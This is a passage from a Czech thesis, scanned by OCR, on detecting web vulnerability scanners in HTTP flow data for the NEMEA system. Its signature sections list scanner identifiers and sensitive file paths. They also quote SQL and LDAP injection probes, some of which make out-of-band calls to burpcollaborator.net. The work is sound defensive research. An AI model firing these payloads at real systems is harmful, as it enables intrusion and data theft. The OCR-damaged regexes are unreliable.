Nize se vénuji pouze HTTP hlavickam, které jsou parsovany ze sitovych toku
a které tedy vyuziji pri detekci utokti. Kromé téchto HTTP hlavicek budu
k detekci vyuzivat jesté HTTP metodu a URI pozadavku a stavovy kod od-
povédi.

Host HTTP hlavicka Host specifikuje doménovy nazev a volitelné TCP port

serveru, na kterém se nachézi pozadovany zdroj.

Referer HTTP hlavicka Referer predstavuje URI posledniho zdroje, na kte-
rém uzivatel nasledoval hypertextovy odkaz vedouci na zdroj pozadavku.

User-Agent HTTP hlavicka User-Agent obsahuje charakteristicky tetézec
umoznujici identifikaci aplikace klienta odesilajici pozadavek.

Content-Type HTTP hlavicka Content-Type identifikuje MIME typ zdroje.
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KAPITOLA 4

Zranitelnosti webovych aplikaci
vyhledavané automatizovanymi
skenery

Skenovani zranitelnosti je nedilnou soucésti vétsiny itok na webové apli-
kace. Utoénik ho nevyuzije v pripadech, kdy se mu podarilo jiz pfi sbéru
informaci ziskat uzivatelsky tcet administratora ¢i odhalit néjakou kritickou
zranitelnost. Existuji dva typy skent zranitelnosti — heuristicky a zaloZeny
na signaturach. V heuristickém skenu se vyhledavaji zranitelnosti spadajici
do nékteré tiidy zranitelnosti. Oproti tomu skeny zalozené na signaturach vy-
uzivaji konkrétni zranitelnosti dohledatelné v databézich zranitelnosti’} V této
kapitole popisi zakladni tridy zranitelnosti vyhledavané heuristickymi skeny
zranitelnosti, jejichz detekci se budu v této praci vénovat. Seznam trid zra-
nitelnosti vychdazi z dat, ktera jsem zachytil a analyzoval pri provadéni skenu
zranitelnosti vybranymi néastroji v defaultnim nastaveni.

4.1 Injection

Zranitelnosti spojené se zpracovanim nedtvéryhodnych dat jsou dle hodnoceni
OWASP Top 10 v soucasnosti nejvétsi bezpecnostni riziko v oblasti webo-
vych aplikaci [9]. Zaroven jsou nejcastéjsim cilem skenert zranitelnosti, jeli-
koz k jejich vyhleddvani neni tfeba znalost webové aplikace. Vyhledavaji se
zasilanim HTTP pozadavki se specidlné pripravenymi vstupy a kontrolou ob-
sahu HTTP odpovédi. V pripadé, ze webova aplikace zpracuje vstupni data
bez spravného osetreni, dojde k provedeni kédu na strané serveru a v HT'TP od-
povédi je navriacen obsah, ktery skener ocekava.

!Napiiklad v databézi NVD prostfednictvim https://www.cvedetails.com/
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4.1.1 SQL Injection

SQL Injection je zranitelnost vyskytujici se v aplikacich vyuzivajicich rela¢ni
databéazi, které neosettuji spravné vstup od uzivatele a vkladaji ho do SQL
dotazil, coz muze vést k vykonani nebezpecného kédu. Tato zranitelnost mize
vést k vypsani, apravé nebo smazani obsahu databaze, pripadné k obchazeni
autentizacniho mechanismu.

4.1.2 LDAP Injection

LDAP Injection je zranitelnost nachazejici se v aplikacich komunikujicich se
systémem LDAP, které neosetiuji spravné vstup od uzivatele a vkladaji ho do
LDAP dotazti, coz muze vést k vykonani nebezpecného kédu. Tato zranitel-
nost muze vést k dpravé obsahu LDAP stromu, pripadné k vykonéni libovol-
nych prikazu jako je napriklad udéleni opravnéni k provadéni neautorizovanych
LDAP dotazu.

4.1.3 SSI Injection

SSI Injection je zranitelnost vyskytujici se v aplikacich, které bézi na webovych
serverech umoznujicich vyvojairim vkladat do statickych webovych stranek
dynamicky kod pomoci SSI direktiv, umoznuji uzivatelim vkladani téchto
SSI direktiv a nasledné je provadéji. Tato zranitelnost mize vést k provedeni
nebezpecného kédu na strané serveru.

4.1.4 XPath Injection

XPath Injection je zranitelnost nachézejici se v aplikacich vyuzivajicich ja-
zyk XPath pro praci s XML dokumenty, které neosetruji spravné vstup od
uzivatele a vkladaji ho do XPath dotazi, coz muze vést k vykonani nebezpec-
ného kédu. Tato zranitelnost muze vést k tniku citlivych informaci, pripadné
k obchazeni autentizacniho mechanismu.

4.1.5 PHP Code Injection

PHP Code Injection je zranitelnost vyskytujici se v aplikacich, které jsou
zpracovavany PHP interpreterem a neosetiuji spravné vstupy od uzivatele.
Prijeti neosetfeného vstupu od uzivatele muze potencialné vést az k provedeni
tohoto nebezpecéného kédu PHP interpreterem na strané serveru.

4.1.6 Python Code Injection

Python Code Injection je zranitelnost nachazejici se v aplikacich, které jsou
zpracovavany Python interpreterem a neosetfuji spravné vstupy od uzivatele.
Prijeti neosetfeného vstupu od uzivatele muze potencialné vést az k provedeni
tohoto nebezpecéného kédu Python interpreterem na strané serveru.
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4.1.7 Perl Code Injection

Perl Code Injection je zranitelnost vyskytujici se v aplikacich, které jsou zpra-
covavany Perl interpreterem a neosetiuji spravné vstupy od uzivatele. Prijeti
neosetreného vstupu od uzivatele miize potencialné vést az k provedeni tohoto
nebezpecného kédu Perl interpreterem na strané serveru.

4.1.8 Ruby Code Injection

Ruby Code Injection je zranitelnost nachazejici se v aplikacich, které jsou
zpracovavany Ruby interpreterem a neosetiuji spravné vstupy od uzivatele.
Prijeti neosetfeného vstupu od uzivatele muze potencialné vést az k provedeni
tohoto nebezpeéného kédu Ruby interpreterem na strané serveru.

4.1.9 Server Side Javascript Code Injection

Server Side Javascript Code Injection je zranitelnost vyskytujici se v apli-
kacich, které vyuzivaji Javascript interpreter na strané serveru a neosetiuji
spravné vstupy od uzivatele. Prijeti neosetfeného vstupu od uzivatele miize
potencialné vést az k provedeni tohoto nebezpecného kédu Javascript inter-
preterem na strané serveru.

4.1.10 OS Command Injection

OS Command Injection je zranitelnost nachazejici se v aplikacich, které ne-
oSetruji spravné vstupy od uzivatele a predavaji je jako parametr funkcim
provadéjicim piikazy operac¢niho systému. Provedeni neosetfeného vstupu od
uzivatele mize vést k iplnému prevzeti kontroly nad webovou aplikaci a ser-
verem, na kterém tato aplikace bézi. Tuto zranitelnost je také mozné zneuzit
k itoku na dalsi stroje v rdmci interni sité, které jsou dostupné ze zranitelného
stroje.

4.2 Format String

Format String je zranitelnost nachézejici se v aplikacich, které prijimaji ne-
osetieny vstup od uzivatele ovlivnujici formatovani dat v nékterych funkcich
(napr. fprintf, printf, sprintf). Prijeti neosetfeného vstupu uzivatele obsahu-
jictho nebezpeény formatovaci fetézec muze vést napriklad k Buffer Overflow
nebo k tniku informaci z operac¢ni paméti.

4.3 Server Side Template Injection

Server Side Template Injection je zranitelnost nachéazejici se v aplikacich, které
prijimaji neosetfeny vstup od uzivatele a vklddaji ho do Sablony ulozené na
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strané serveru. Prijeti neosetfeného vstupu uzivatele obsahujiciho direktivy
sablony, mtze vést k provedeni nebezpectného kdédu na strané serveru.

4.4 Directory Traversal/File Path Traversal

Directory Traversal nebo také File Path Traversal je zranitelnost nachazejici
se v aplikacich, které jako parametr funkei manipulujicich se soubory /adreséri
prijimaji neosetreny vstup od uzivatele, coz pTi zpracovani mutze vést k mani-
pulaci s citlivymi soubory ulozenymi na serveru.

4.5 Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) je zranitelnost nachézejici se v aplikacich, které
prijimaji neosetfeny vstup uzivatele obsahujici fragment JavaScript kddu, coz
potencialné muze vést k provedeni tohoto nebezpecného kdédu v kontextu apli-
kace. Tato zranitelnost se v aplikacich mtze nachazet ve dvou rtznych vari-
antach — persistentni a reflektivni.

Reflektivni XSS Zranitelnost XSS se oznacuje jako reflektivni, pokud je ne-
oSetTeny vstup uzivatele obsahujici fragment JavaScript kodu (predany
nejcastéji jako parametr URL odkazu) pouze zrcadlen do zdrojového
kédu webové aplikace, kde muze potencialné dojit k provedeni tohoto
nebezpecného kdédu v kontextu aplikace.

Persistentni XSS Zranitelnost XSS se oznacuje jako persistentni, pokud je
neoSetfeny vstup uzivatele obsahujici fragment JavaScript kédu ulozen
do trvalého (persistentniho) ulozisté aplikace, odkud se nacita zpét do
zdrojového kédu webové aplikace, kde muze potencidlné dojit k prove-
deni tohoto nebezpecného kédu v kontextu aplikace.

4.6 Insecure URL Redirection

Insecure URL Redirection je zranitelnost nachézejici se v aplikacich, které jako
parametr pro presmérovani prijimaji neosetfeny vstup od uzivatele obsahujici
odkaz vedouci na externi webovou stranku, kterd mize byt infikovan4.

4.7 External Service Interaction
External Service Interaction je zranitelnost nachazejici se v aplikacich, které

prijimaji neosetreny vstup uzivatele vedouci pii zpracovani k neocekavané in-
terakci s potencialné nebezpecnou externi sluzbou.
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KAPITOLA 5

Metody detekce utoku
vyuzivajicich aplikacni protokol
HTTP

V této kapitole se vénuji metodam, kterymi lze detekovat probihajici ttok
vyuzivajici aplikaéni protokol HTTP. Nejprve popisi rozdily mezi detekei za-
lozenou na analyze paketi a detekci zalozenou na analyze siftovych tokt. Na-
sledné predstavim dva opensource nastroje pro detekci podezrelych aktivit,
které poslouzi jako vzor pro analyzu tspésnosti detekce navrhovaného deteké-
niho modulu.

5.1 Metody ziskavani dat pro detekci ttoki

V této kapitole popisi dva procesy ziskavani dat, nad kterymi je nésledné
provadéna analyza nékterou z metod detekce pruniku. Konkrétné popisi proces
ziskavani dat pro analyzu paketti a pro analyzu sitovych tokt.

5.1.1 Analyza paketi

Analyza paketl je proces ziskavani dat z paketi prochéazejicich sledovanym
sitovym rozhranim, kde jsou zachyceny. Tuto metodu vyuziva s oblibou velké
mnozstvi systému IPS/IDS, jelikoz diky ni maji pro tucely detekce k dispo-
zici veskerad data zachycenych paketi. Vzhledem k tomu, zZe systém pro de-
tekci ttokt musi analyzovat kazdy paket prochazejici sledovanym rozhranim,
je velmi slozité skalovat jeho vykon v zavislosti na rostoucim objemu siftovém
provozu. Tento fakt je zaroven nevyhodou analyzy paketi, jelikoz s rychle ros-
toucim objemem sitového provozu roste i pocet ztrat paketd, coz vede k po-
tencidlné horsi uspésnosti detekce, kterd ma dopad na celkovou bezpec¢nost
chrdnéného systému.
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5.1.2 Analyza sitovych toku

Analyza sitovych toki je proces ziskavani dat z paketii prochézejicich sledova-
nym sifovym rozhranim, kde jsou zachyceny. Rozdilem oproti analyze paket
a zaroven vyhodou tohoto pristupu je, zZe systémy pro detekci utoku analyzuji
vzdy pouze agregovand data ziskand z paketi se stejnymi vlastnostmi, které
prosly sledovanym sitovym rozhranim v urcitém casovém tseku. Vyhoda to-
hoto pristupu je, ze je pro analyzu detekénim systémem potfeba o mnoho
méné dat. Ve védecké praci Erlachera a Dresslera z roku 2018 se ukézalo,
ze systém IDS fungujici na zdkladé analyzy sifovych tokd dokéze zvladnout
uspésné zanalyzovat mnohem vyssi priatok dat sledovanou pocitacovou siti se
stejnymi daty a stejnymi pravidly jako uziva Snort IDS fungujici na zakladé
analyzy paketa [10].

P1i prenosu sitovych tok v ramci pocitacové site CESNET2 se vyuziva
protokol IPFIX, coz je standard organizace IETF zaloZeny na protokolu Net-
Flow 9 spolecnosti Cisco, jehoz ucelem je pravé prenos zprav obsahujicich
informace o sitovych tocich ze sitovych zafizeni na IPFIX kolektor [I1].

5.2 Metody detekce utoki

V této kapitole se zabyvam metodami detekce ttoku, které jsou provadény nad
daty ziskanymi ze sitového provozu analyzou paketii nebo analyzou sitovych
toku.

5.2.1 Detekce zalozena na signaturach

Detekce zalozend na signaturach (signature-based detection) je proces vyhle-
davani textovych ¢i binarnich fetézct odpovidajicich signaturam v datech ex-
trahovanych ze sitového provozu, kde signatura oznacuje vzorek podezielé
aktivity (napf. kédu zneuzivajictho urcitou zranitelnost nebo pouze nestan-
dardniho piikazu).

Pokud jsou signatury napsany dostateéné obecné, miize se diky nim poda-
it detekovat celou fadu podobnych nebezpecénych aktivit. Nevyhodou tohoto
pristupu je, ze pokud je néktera signatura napsdna prilis obecné, muze docha-
zet k detekci velkého mnozstvi falesné pozitivnich podezrelych aktivit.

Tato metodika je velmi G¢innd pri detekci zndmych podezielych aktivit,
jelikoz pro né lze napsat signaturu, ale neié¢inna pti detekci nezndmych ¢i silné
obfuskovanych podeztelych aktivit. Pro ticely detekce probihajictho skenu zra-
nitelnosti webovych aplikaci vSak tato metodika vyhovuje, jelikoz jsou vSechny
podezrelé aktivity predem znamé a je pro né tedy mozné vytvorit odpovidajici
signatury.
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5.2.2 Detekce zaloZzend na anomaliich

Detekce zalozend na anoméliich (anomaly-based detection) je proces zalo-
zeny na porovnavani charakteristik aktivit, které jsou povazovany za normaélni,
proti charakteristikdm probihajicich aktivit s cilem nalézt vyznamné odchylky,
ze kterych lze urcit, ze se jedna o podezrelé aktivity.

Za normélni aktivity systém povazuje aktivity provadéné béhem predem
urceného ¢asového tseku (tzv. training period). Vzhledem k tomu, ze se v si-
tovém provozu nachazi velké mnozstvi riiznych aktivit, uchovava systém jejich
charakteristiky v ruznych profilech chovani (napf. v profilu pro pocet neplat-
nych prihlaseni na jednu IP adresu nebo v profilu pro pocet odeslanych emaila
na jednoho uzivatele). Po skonceni tzv. training period systém za¢ne pomoci
statistickych metod porovnavat charakteristiky probihajicich aktivit proti li-
mitim, které jsou dany profilem odpovidajiciho typu chovani.

Existuji dva typy profili chovani - statické a dynamické. Statické profily
se inicializuji po urc¢itou dobu (tzv. training period), béhem které systém zjis-
tuje charakteristiky norméalnich aktivit, a po ukonceni inicializace se neméni.
Problémem tohoto typu profili je, Zze prubézné zastariva a po néjaké dobé
jiz neodpovida ménicimu se normalnimu provozu. Dynamické profily, které se
po urcité dobé reinicializuji, timto problémem netrpi, avSak trpi jinym zavaz-
nym problémem. Muze se stat, ze utoc¢nik bude zamérné provadét podezrelé
aktivity béhem reinicializace. Takové aktivity jsou pak systémem povazovany
za normalni a nejsou detekovany. Spole¢nym problémem obou typt profilt
jsou legitimni pldnované jednorazové aktivity (napf. tidrzba systému), které
neodpovidaji normalnim aktivitdm zjisténym béhem inicializace a jsou Casto
falesné detekovany. Obecné tento typ detekce generuje velké mnozstvi falesné
pozitivnich hlaseni o podezrelych aktivitdch, u kterych analytici casto ani ne-
maji moznost zjistit, co presné detekci vyvolalo [12].

Tato metodika muaze byt velmi G¢inna pri detekci jak znamych, tak nezna-
mych nebo obfuskovanych podezrelych aktivit, pro které jesté neexistuje zadna
signatura, jelikoz se ¢asto vyznamné lisi od normalnich legitimnich aktivit. Ne-
vyhodou této metody detekce je vsak slozitost implementace, velké mnozstvi
falesné pozitivnich podezielych aktivit a ndrocnost na vypocetni zdroje.

5.2.3 Detekce zalozena na analyze stavového protokolu

Detekce zalozend na analyze stavového protokolu (stateful protocol analysis)
je proces srovnavani predem urcenych profili chovani obsahujicich definice
obecné akceptovaného legitimniho chovani protokolu s probihajicimi aktivi-
tami s cilem nalézt vyznamné odchylky, ze kterych lze urcit, ze se jedna o po-
dezrelé aktivity. Na rozdil od detekce anomalii jsou u tohoto typu detekce
profily chovani univerzalni a vyvinuté autorem protokolu, ktery definoval, jak
se protokol mé a nemé chovat. Slovo stavovy v nazvu detekce znamena, ze je
systém schopen chépat a sledovat stav protokolu [12].
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Tento typ detekce umoznuje nejen srovnavani statistickych charakteristik
aktivit, ale také sledovani chovani protokolu. To v pripadé HTTP protokolu
umoznuje napriklad sledovani, zda jsou z nékterého stroje zasilany HTTP po-
zadavky i pres to, ze jesté nebyly odeslany HT'TP odpovédi na jeho predchaze-
jici pozadavky, pripadné zda se uzivatel pokousi pristupovat k privilegovanym
zdrojum.

Tato metodika je velmi uc¢innd pri detekci jak zndmych, tak neznamych
nebo obfuskovanych podezielych aktivit, pro které jesté neexistuje zadna sig-
natura, jelikoz se vyznamné lisi od normélnich legitimnich aktivit. Stejné tak
by s nejvétsi pravdépodobnosti detekovala probihajici sken zranitelnosti. Ne-
vyhodou této metody detekce je vSak slozitost jeji implementace, komplexnost
vedouci k velké narocnosti na vypocetni zdroje a udrzovani nizkého poctu fa-
lesné pozitivnich podezrelych aktivit v prubéhu casu.

5.3 Nastroje pro detekci atokua

V této kapitole popisuji dva velmi popularni systémy pro detekci itokt — Snort
a ModSecurity. Kazdy z nich je predstavitelem vyznamné kategorie systémi
pro detekci/prevenci tutoku. Konkrétné jde o kategorie systému pro detekci
priniku (IDS) a firewall pro webové aplikace (WAF). Vzhledem k tomu, zZe
detekéni modul, jehoz vyvoj je cilem této prace, je v podstaté také systém
IDS, prozkoumam architekturu systému Snort IDS. Oproti systémam IDS je
WAF systém zaméren takika vylucné na detekci ttok na webové aplikace.
7 tohoto duvodu prozkoumam jeho detekéni pravidla.

5.3.1 Snort IDS

Detekce pruniku je proces, ktery se sklada z monitorovani sitového toku za tace-
lem detekce podezrelych aktivit, zalogovani detekovanych podezielych aktivit
a notifikace reakéniho tymu. Systémy pro detekci priiniku jsou néstroje pro au-
tomatizaci tohoto procesu a jsou dilezitou soucasti kazdé organizace, kterd
dbé na bezpecnost [12].

Snort IDS je opensource systém pro detekei prunikia (IDS) fungujici na za-
kladé analyzy pakett, ktery se skladé z péti hlavnich komponent — Packet De-
coder, Pre-processor, Detection Engine, Logging and Alert System a Output
Modules.

Packet Decoder Packet Decoder je komponenta, kterd slouzi k zachytavani
paketli z rtiznych sifovych rozhrani.

Pre-processor Pre-processor je komponenta, kterd se vyuziva k usporadani
zachycenych paketil pro ndslednou analyzu detekéni komponentou.
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Detection Engine Detection Engine je klicova komponenta, kterd slouzi
k porovnavani detek¢nich pravidel vii¢i usporadanym paketim za ticelem
identifikace priniku.

Logging and Alert System Komponenta Logging and Alert System slouzi
k logovani prunikt nalezenych detekéni komponentou a k vygenerovani
upozornéni.

Output Modules Komponenta Output Modules slouzi k fizeni vystupu ge-
nerovaného komponentou Logging and Alert System.

5.3.2 ModSecurity WAF

ModSecurity je opensource firewall slouzici k detekci a prevenci itok na webové
aplikace (WAF). Jedna se o modul do webového serveru Apache2 fungujici
na zakladé analyzy paketti. WAF aplikace se od systému IDS lisi tim, Ze jsou
specializované takika vyluéné na utoky vedené proti webovym serverim a
aplikacim a nasazuji se bud pfimo na webové servery s aplikacemi nebo jako
reverzni proxy. V pripadé reverzni proxy dokazi ochranit libovolné mnozstvi
webovych servertl, které se nachézi ve stejné pocitacové siti.

Tento nastroj jsem vybral predevsim proto, Ze je k nému pridruzen open-
source projekt organizace OWASP s ndzvem OWASP ModSecurity Core Rule
Set (CRS)F_-I obsahujici velké mnozstvi komplexnich detekénich pravidel, které
mohu vyuzit ve své praci pro detekci Gtoki na webové aplikace nad sitovymi
toky. Pravidla jsou rozdélena do riznych kategorii podle typu ttoku a v ramci
kategorii pak podle tirovné paranoii od nejnizsi (1) po nejvyssi (4). Cim vyssi
uroven, tim obecnéjsi pravidla a vyssi riziko falesné pozitivnich detekci. Pro

evv s

"https://www.owasp.org/index.php/Category: OWASP_ModSecurity_Core_Rule_Set_
Project
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KAPITOLA 6

Systém NEMEA

V této kapitole se vénuji popisu systému NEMEA a jeho architekture, jejiz
znalost je potfebna pro navrh modulu a jeho integraci do tohoto systému.
NEMEA je modularni systém, jehoz 1ucéelem je detekce anomélii v sitovém
provozu. K tomuto tcelu slouzi v rameci systému detekéni moduly (Detectors),
které na vstupnim TRAP rozhrani nejcastéji prijimaji sitové toky, nad kterymi
nasledné provadéji analyzu. Vystupnim rozhranim poté dochazi k zasilani upo-
zornéni na detekované udalosti. Modul vyvijeny v ramci této diplomové prace
bude po jejim odevzdani vlozen do NEMEA repozitafe a stane se oficialni
soucasti tohoto systému.

Architektura systému je pékné znazornéna na obriazku Systém se
sklada z modulti, které tvori veskerou jeho funkcionalitu. Tyto moduly systém
rozdéluje na detekéni moduly a podpurné moduly majici na starost ukladani,
export a predzpracovavani dat. Aby byl vyvoj modulti co nejjednodussi, po-
skytuje systém, pod ndzvem NEMEA Framework, soubor knihoven obsahu-
jici funkcionalitu spole¢nou pro vSechny moduly. Tato funkcionalita se sklada
z TRAP knihovny, kterd implementuje komunikac¢ni rozhrani a poskytuje mo-
dulim funkce pro prijimani a zasilani zprav skrze néj, ddle z UniRec knihovny,
ktera implementuje jednotny datovy forméat prijatych a odeslanych zprav, a ze
sady vSeobecnych algoritmu a datovych struktur. Pro spravu celého systému
pak slouzi komponenta Supervisor [13].
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6. SysTEM NEMEA
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Obrazek 6.1: Architektura systému NEMEA, Zdroj: <https://github.com/|
CESNET/Nemea>
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KAPITOLA 7

Analyza a navrh

V této Casti blize rozeberu technické aspekty praktického feseni tak, jak jsem
se jimi postupné zabyval, a navrhnu realizované reseni detekce utokd vyuzi-
vajicich aplikac¢ni protokol HTTP.

7.1 Detekce titoka vyuzivajicich aplikacni protokol
HTTP

Skenery zranitelnosti pii testovani existence zranitelnosti na cilovém stroji vy-
uzivaji specidlni retézce, které je mozné detekovat vhodnymi detekénimi sig-
naturami. Tyto TFetézce jsem zachytil pomoci proxy serveru, pres ktery jsem
nechal vybrané nastroje provést sken zranitelnosti, a jejich priklady uvadim
v jednotlivych podkapitolach. Soucasti podkapitol je kromé téchto retézct
vzdy také ukézka vybranych signatur z projektu OWASP ModSecurity CRS
pro detekci urcité skupiny podezrelych retézcti. Nikoliv vsak nutné k detekci
prikladu fetézcu uvedenych v ukazce. Kromé detekce specidlnich fetézct na
testovani zranitelnosti je mozné skenery ve vychozim nastaveni detekovat také
podle identifikatoru, ktery zasilaji v HT'TP hlavicce User-Agent. Seznam iden-
tifikatort uvadim v nasledujici podkapitole.

7.1.1 HTTP pole exportovana ze sitového provozu

Pred ndvrhem samotné detekce utokl v této podkapitole popisuji, jakd HTTP
pole jsou vlastné v sifovych tocich pro tcely detekce podezrelych aktivit k dis-
pozici. Dostupnost HTTP poli se lisi v zavislosti na exporteru sitového toku,
coz ilustruji tabulkou . Z4dny z popularnich néstroji uvedenych v tabulce
neexportuje télo HTTP pozadavku.

Pro tuto diplomovou praci nebudu vyuzit detekci zalozenou na HTTP od-
povédich. Budu analyzovat vsechny dostupné HTTP hlavicky v HT'TP poza-
davcich. HTTP odpovéd obsahuje pouze dvé hlavicky, ze kterych lze v omezené
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Tabulka 7.1: Srovnani aplikaci na export sitovych tokid obohacenych o infor-
mace protokolu HTTP

HTTP Pole/Aplikace ‘ flow__meter ‘ Flowmon Probe ‘ nProbe ‘

Method Ano Ano Ano
Host Ano Ano Ano
URL Ano Ano Ano
User-Agent Ano Ne Ano
Referer Ano Ne Ano
Status-Code Ano Ano Ano
Content-Type Ano Ne Ano

mite zjistit, zda se itok povedl (napfiklad stazeni soubort nastavi odpovida-
jici HTTP hlavicku Content-Type). Tato informace vSak pro samotnou detekci
utokt neni podstatna.

Pro tucely cilenéjsi detekce tatoku provede detekéni modul rozdéleni HT'TP
pole URL do nésledujicich ¢asti dle schématu URL adresy. Pfiklad naplnéni
jednotlivych poli hodnotami popisuji na vypisu|7.1

Pole pro cilenou detekci utoku
e HTTP_ METHOD_AND_URL
e HTTP_URL_ARGS
e HTTP URL ARGS NAMES
e HTTP_URL_FILENAME

e HTTP URL QUERY STRING

URL: http://www.priklad.cz/adresar/index.php?param=5&param2=4#frag

HTTP_METHOD: GET

HTTP_URL: /adresar/index.php?param=5&param2=4#frag
HTTP_METHOD_AND_URL: GET /adresar/index.php?param=5&param2=4#frag
HTTP_URL_ARGS: ["5", "4"]

HTTP_URL_ARGS_NAMES: ["param", "param2"]

HTTP_URL_FILENAME: /adresar/index.php

HTTP_URL_QUERY_STRING: param=5&param2=4

Vypis 7.1: Priklad roz¢lenéni URL adresy
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7.1.2 Detekce skenera zranitelnosti dle jejich identifikatort
v HTTP hlavicce User-Agent

Skenery zranitelnosti ve vychozim nastaveni lze ¢asto detekovat podle identi-
fikdtoru, které zasilaji v HTTP hlaviéce User-Agent. Seznam identifikatort,
které detekuji, uvadim ve vypisu|7.2

(hydra), .nasl, absinthe, advanced email extractor, arachni/,
autogetcontent, bilbo, BFAC, brutus, brutus/aet, bsqlbf, cgichk,
cisco-torch, commix, core-project/1.0, crimscanner/, datachaOs,
dirbuster, domino hunter, dotdotpwn, email extractor, fhscan core 1.,
floodgate, get-minimal, gootkit auto-rooter scanner, grabber,
grendel-scan, havij, inspath, internet ninja, jaascois, zmeu,
masscan, metis, morfeus fucking scanner, mysqloit, n-stealth, nessus,
netsparker, nikto, nmap nse, nmap scripting engine, nmap-nse,
nsauditor, openvas, pangolin, paros, pmafind, prog.customcrawler,
qualys was, s.t.a.l.k.e.r., security scan, springenwerk,

sql power injector, sqglmap, sqlninja, teh forest lobster,

this is an exploit, toata dragostea,

toata dragostea mea pentru diavola, uil2pn, user-agent:, vega/,
voideye, w3af.sf.net, w3af.sourceforge.net, w3af.org, webbandit,
webinspect, webshag, webtrends security analyzer, webvulnscan,
whatweb, whcc/, wordpress hash grabber, xmlrpc exploit, WPScan

Vypis 7.2: Identifikdtory skenert zranitelnosti v HTTP hlaviéce User-Agent

7.1.3 Detekce skeneru zranitelnosti dle jejich identifikatort
v URL

Skenery zranitelnosti ve vychozim nastaveni lze ¢asto detekovat podle iden-
tifikdtoru, které zasilaji v. URL. Seznam identifikdtori pochézi z projektu
OWASP ModSecurity CRS a je mnou rozsifen o identifikdtory zaslané ske-
nery zranitelnosti béhem skenovani. Tento seznam uvadim ve vypisu

/ .adSensepostnottherenonobook, /<invalid>hello.html,
/actSensepostnottherenonotive,
/acunetix-wvs-test-for-some-inexistent-file,
/antidisestablishmentarianism,
/appscan_fingerprint/mac_address, /arachni-,
/cybercop, /nessus_is_probing_you_,

/nessustest, /netsparker-, /rfiinc.txt,
/thereisnowaythat-you-canbethere,
/w3af/remotefileinclude.html, appscan_fingerprint,
w00tw00t.at.ISC.SANS.DFind,
w00twOOt.at.blackhats.romanian.anti-sec,
thishouldnotexistandhopefullyitwillnot, OW45pz4p, zappx,
burpcollaborator.net, defaced

Vypis 7.3: Identifikdtory skenert zranitelnosti v URL
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7.1.4 Detekce pozadavkl neodpovidajicich specifikaci HTTP
protokolu

Utoénik se ve své snaze odhalit n&jakou zranitelnost ve webové aplikaci mtize
dopustit poruseni formatu HTTP pozadavku, ktery je definovan v ramci HT' TP
protokolu v RFC 2616 [8]. Utoky tohoto typu jsou detekovany pomoci white-
listu HT'TP metod, ktery uvddim ve vypisu

GET |HEAD | POST | OPTIONS | PUT | DELETE | TRACE | CONNECT

Vypis 7.4: HTTP metody definované protokolem HTTP

7.1.5 Detekce pristupu k souboriim s omezenym opravnénim

Skenery zranitelnosti ¢i tito¢nici se mnohou pokusit pristoupit k citlivym sou-
boriim s omezenym opravnénim, ke kterym uzivatelé pii bézné praci nepri-
stupuji. Detekci téchto pristupil je mozné identifikovat podezielou aktivitu,
ze které se muze stat pokus o prunik bezpecnosti cilového systému. Seznam
soubort s omezenym opravnénim pochazi z projektu OWASP ModSecurity
CRS a je mnou rozsiten o soubory, ke kterym se pokusily pristupovat skenery
zranitelnosti béhem skenovani. Tento seznam uvadim ve vypisu

.htaccess, .htdigest, .htpasswd, /.git/, /.gitignore, /.hg/,
/.hgignore, /.svn/, wp-config.php, wp-config.bak, wp-config.old,
wp-config.temp, wp-config.tmp, wp-config.txt, /config/config.yml
/config/config _dev.yml, /config/config_prod.yml,
/config/config_test.yml, /config/parameters.yml
/config/routing.yml, /config/security.yml, /config/services.yml,
/sites/default/default.settings.php, /sites/default/settings.php,
/app/etc/local.xml, /sftp-config.json, /Web.config, /gruntfile.js,
/npm-debug.log, /composer.json, /composer.lock, /packages.json,
/.env, IISSAMPLES, WEB-INF/web.xml, WEB-INF\web.xml

Vypis 7.5: Soubory s omezenym opravnénim

7.1.6 Detekce pristupu k citlivym uzivatelskym Gctim

Skenery zranitelnosti ¢i utoc¢nici se mohou pokusit pristoupit k citlivym uzi-
vatelskym tuc¢ttim, ke kterym uzivatelé pri bézné préaci nepristupuji. Detekci
téchto pristupt je mozné identifikovat podezielou Cinnost, ze které se mize
stat pokus o prinik bezpecnosti cilového systému. Seznam citlivych ucéti, které
jsem identifikoval pti analyze pozadavku zasilanych skenery zranitelnosti, uva-
dim ve vypisu

~nobody | ~adm

Vypis 7.6: Citlivé uzivatelské tucty
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7.1.7 SQL Injection

Ve vypisu uvadim priklady Tetézct zasilanych skenery zranitelnosti, které
testuji pritomnost zranitelnosti SQL Injection.

cr’ || (select extractvalue(xmltype(’<?xml version="1.0"
encoding="UTF-8"7>
<IDOCTYPE root [ <!ENTITY % onyqu SYSTEM

"http://i28gx.burpcollab’ | | ’orator.net/">

%onyqu;1>°),°/1’) from dual) ||’

cr’);declare @q varchar(99);set
@g="\\mncbl.burpcollab’+’orator.net\wdt’;
exec master.dbo.xp_dirtree @q;-—-

(select load_file(’\\\\bllpqg.burpcollaborator.net\\syp’))

cr’+(select load_file(’\\\\6ew2l.burpcollaborator.net\\biw’))+’

cr’ and (select*from(select(sleep(20)))a)--

UNION ALL select NULL --

cr’,0)waitfor delay’0:0:20°--

cr78607471° or ’2337°=’2329

cr46405613° or 8981=8981--

cr’ and ’5388’=’5388

Vypis 7.7: SQL Injection

Detekcni signatury Ve vypisu [7.8 uvadim priklady regularnich vyrazi,
které slouzi jako signatury pro detekci podezrelych retézcu.

(?71) (7: (7:procedure\s+analyse\s*?\ () | (7:;\s*?(7:declare|open) \s+[\w-]+)
(7:create\s+(7:procedure|function) \s*?\w+\s*?\ (\s*?\) \s*?-) |
(7:declare["\wl+[@#]\s*7\w+) | (?:exec\s*?7\ (\s*7Q))

\s+(7:(7:group_)concat|char|load_file)\s?\(?) | (?:end\s*?\);) |
(7:[\" “I\s+regexp\W) | (?: [\s(Jload_file\s*7\())

(?1) (?7:(?:(7:union(?:.*7)select(?:.*7?)from)))

Vypis 7.8: Detekéni signatury pro SQL Injection

7.1.8 LDAP Injection

Ve vypisu [7.9 uvddim piiklady Fetézcu zasilanych skenery zranitelnosti, které
testuji pritomnost zranitelnosti LDAP Injection.

*) (objectClass=*
*) (! (objectClass=x*)

Vypis 7.9: LDAP Injection

Detekcni signatury Ve vypisu uvadim priklady regularnich vyrazi,
které slouzi jako signatury pro detekci podezrelych fetézct.
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(7:\((?7:\W*x7(7:0bjectc(?:ategory|lass) |homedirectory| [gu] idnumber |cn)
\DAW*?=| [“\w\x80-\xFF]*? [\ 1\&\ |1 ["\w\x80-\xFFI1*?\ () |\)
